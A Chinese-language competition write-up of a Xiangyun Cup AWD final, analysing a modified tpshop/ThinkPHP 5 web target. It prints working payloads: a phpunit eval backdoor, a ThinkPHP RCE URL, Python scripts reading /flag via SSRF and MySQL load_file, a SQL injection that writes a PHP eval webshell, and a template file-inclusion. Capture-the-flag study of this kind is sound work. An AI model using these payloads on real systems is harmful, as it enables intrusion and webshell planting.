有幸参与了祥云杯决赛,由于这次的AWD题目相对比较有意思,特此记录,线下AWD共放出2道Web环境,但由于其中一道不可抗拒的因素,在开始后不久就被主办方下线,所以此文只分析另一道被打了一天的web环境。两道题环境都会提供在文章最下方
首先用自己的AWD框架把源码下到本地,扔到D盾
复现vulhub的小伙伴肯定都知道这个CVE-2017-9841,https://vulhub.org/#/environments/phpunit/CVE-2017-9841/
<?php eval('?>' . file_get_contents('php://input'));
我们可以直接post exp过去即可,这里也是发现得早批量写的快成功拿到比赛一血
此CMS为tpshop,但和网上公开的tpshop源码不太相同,既然是tp,肯定是要看看tp rce的漏洞的
全局搜索version 发现版本为5.0.7,疑似存在tp5 rce
用网上公开的exp
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat+/flag
并不能直接打成功,
因为并不存在index模块,我们就无法逃逸正则调用任意方法,我们需要找到一个默认存在的模块
(这里因为对tp5 rce原理不熟卡了好久)
其实首页随便点几个链接或者看源码就可以发现,此cms存在Home Admin等模块
由于cms为mvc,接下来从控制器下手,在home模块的控制器下面找到一个Test.php
<?php namespace app\home\controller; use think\Controller; use think\Url; use think\Config; use think\Page; use think\Verify; use think\Db; use think\Cache; class Test extends Controller { public function index(){ $mid = 'hello'.date('H:i:s'); //echo "测试分布式数据库$mid"; //echo "<br/>"; //echo $_GET['aaa']; M('config')->master()->where("id",1)->value('value'); //echo M('config')->where("id",1)->value('value'); //echo M('config')->where("id",1)->value('name'); /* //DB::name('member')->insert(['mid'=>$mid,'name'=>'hello5']); $member = DB::name('member')->master()->where('mid',$mid)->select(); echo "<br/>"; print_r($member); $member = DB::name('member')->where('mid',$mid)->select(); echo "<br/>"; print_r($member); */ // echo "<br/>"; // echo DB::name('member')->master()->where('mid','111')->value('name'); // echo "<br/>"; // echo DB::name('member')->where('mid','111')->value('name'); echo C('cache.type'); } public function redis(){ Cache::clear(); $cache = ['type'=>'redis','host'=>'192.168.0.201']; Cache::set('cache',$cache); $cache = Cache::get('cache'); print_r($cache); S('aaa','ccccccccccccccccccccccc'); echo S('aaa'); } public function dlfile($file_url, $save_to) { $ch = curl_init(); // 启动一个CURL会话 curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch,CURLOPT_URL,$file_url); // 要访问的地址 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $file_content = curl_exec($ch); // 执行操作 curl_close($ch); // 关键CURL会话 $downloaded_file = fopen($save_to, 'w'); fwrite($downloaded_file, $file_content); fclose($downloaded_file); } public function mysql_test($dbname, $dbuser, $dbpass, $dbserver, $dbport, $dbquery) { $m = mysqli_init(); $conn = mysqli_real_connect($m, $dbserver, $dbuser, $dbpass, $dbname, intval($dbport)); $result = mysqli_query($m, $dbquery) or die(mysqli_error($conn)); $data = mysqli_fetch_all($result, MYSQLI_ASSOC); var_dump($data); mysqli_close($m); } public function object_test($input) { $a = unserialize($input); } public function table(){ $t = Db::query("show tables like '%tp_goods_2017%'"); print_r($t); } }
这短短的一个文件中藏了3个洞,分别是ssrf导致任意文件读写,mysql远程连接文件读取或者本地任意sql执行,反序列化,太简单了看看exp就行
@round("http://172.20.5.1-30:6022") def attack7(url): try: a = hh.http(url+"/index.php/home/test/dlfile?file_url=file:///flag&save_to=/public/js/jquery-1.10.3.min.js") a = hh.http(url+"/public/js/jquery-1.10.3.min.js") flag = a[2].strip() print "|"+flag+"|" submit_flag(flag) except Exception as e: print e pass
@round("http://172.20.5.1-30:6022") def attack11(url): try: a = hh.http(url+r"/index.php?m=Home&c=test&a=mysql_test&database=ctf&dbname=ctf&dbuser=user&dbpass=123456&dbserver=localhost&dbport=3306&dbquery=select+load_file('\/flag');") flag = a[2].strip() flag = re.search(r"flag{.*?}",flag,re.S).group() print flag submit_flag(flag) print url except Exception as e: print e pass
mysql的洞一开始想法是远连读文件,但是发现服务器和选手pc好像不通,于是作罢,后面发现可以连本地直接load_file。。。
反序列化洞由于比赛时候断网找不到exp,也没写,并且由于三个洞在同一个文件,修复的话会直接整个文件删除,所以就没太在意了
<?php public function return_goods_list() { $where = " user_id=$this->user_id "; // 搜索订单 根据商品名称 或者 订单编号 $search_key = trim(I('search_key')); if($search_key) { $where .= " and order_sn=$search_key"; } $count = M('return_goods')->where($where)->count(); $page = new Page($count,10); $list = M('return_goods')->where($where)->order("id desc")->limit("{$page->firstRow},{$page->listRows}")->select(); $goods_id_arr = get_arr_column($list, 'goods_id'); if(!empty($goods_id_arr)) $goodsList = M('goods')->where("goods_id","in", implode(',',$goods_id_arr))->getField('goods_id,goods_name'); $state = C('REFUND_STATUS'); $this->assign('state',$state); $this->assign('goodsList', $goodsList); $this->assign('list', $list); $this->assign('page', $page->show());// 赋值分页输出 return $this->fetch(); }
很明显的看出来上面第九行将url参数search_key与sql语句进行了拼接,而且环境是debug,一开始想用报错注入
但无论怎么构造都报错1105 Only constant XPATH queries are supported
由于时间问题,发现服务器环境可以写文件,就没继续考虑读flag,而是写马利用
?search_key=1)union select '<?php eval($_REQUEST[1])?>' into dumpfile "/var/www/html/runtime/.2.php";%23
fetch函数文件包含
最后一个洞是倒数第二轮抓流量抓到的,并没有挖到
exp类似这样(本地复现方便,当时exp并不是这样)
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=../../../runtime/temp/ma
浏览runtime/temp/ma.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <?php phpinfo()?> </body> </html>
通过exp的url找到对应method
<?php public function header_cart_list() { $cartLogic = new CartLogic(); $cartLogic->setUserId($this->user_id); $cart_result = $cartLogic->getUserCartList(0); if(empty($cart_result['total_price'])) $cart_result['total_price'] = Array( 'total_fee' =>0, 'cut_fee' =>0, 'num' => 0); $this->assign('cartList', $cart_result['cartList']); // 购物车的商品 $this->assign('cart_total_price', $cart_result['total_price']); // 总计 $template = I('template','header_cart_list'); return $this->fetch($template); }
u1s1我是第一次见tp fetch函数可控导致的文件包含,我只见过assgin可控导致的文件包含
ThinkPHP5漏洞分析之文件包含
在赛后复现的时候,发现fetch参数不仅可以目录穿越,也可以用绝对路径或者相对路径,通过../穿越选择我们想要的模板文件名,
下面是官方对fetch函数的解释
有点啰嗦,直接看源码吧。。
<?php public function fetch($template, $data = [], $config = []) { if ('' == pathinfo($template, PATHINFO_EXTENSION)) { // 获取模板文件名 $template = $this->parseTemplate($template); } // 模板不存在 抛出异常 if (!is_file($template)) { // if(strstr($template,'pre_sell_list')){ // header("Content-type: text/html; charset=utf-8"); // exit('要使用预售功能请联系TPshop官网客服,官网地址 www.tp-shop.cn'); // } throw new TemplateNotFoundException('template not exists:' . $template, $template); } // 记录视图信息 App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info'); $this->template->fetch($template, $data, $config); }
通过调试发现,上面代码4-7行,如果输入的参数无后缀,则
<?php $template = MODULE_PATH.$template.".html"
也就是系统会在fetch参数前加上模板的绝对目录,参数后加上.html
如果有后缀,那么就会直接扔进is_file去判断,判断通过后,进入21行语句进行文件包含
我们可以通过上传一句话图片马或者其他文件至服务端,然后通过fetch造成文件包含
http://127.0.0.1/index.php/Home/Cart/header_cart_list?template=runtime\temp\1.jpg
当然这里绝路目录相对目录穿越目录及任意后缀都是可以的
其实比赛漏洞并不难,AWD主要还是选手的反应速度和脚本编写能力,我大部分时候都在上别人车,抓到新洞流量立马写批量反打,发现被中马看看其他环境有没有一样的马上车。以及被种不死马,蠕虫马,递归马等恶心的东西时候写脚本去删马,都耗费了大量的时间,真正留给挖洞的时间并不多。
当然本文章并没有把所有的洞都写完,有很多漏洞赛时并没有挖出,据说还有几个SQL注入,但当时我已经挖了一个就没继续看了,
而且看网上有很多tpshop后台的getshell。。当时比赛连后台都没进(好多人改密码)而且断网连exp都搜不到。。所以就没看了。。有感兴趣的师傅网上搜搜有很多exp和分析。
源码有点大上传不了,就扔baidu云了。
链接:https://pan.baidu.com/s/1r35k7FSfE5M-erz-_quPjw
提取码:kc2f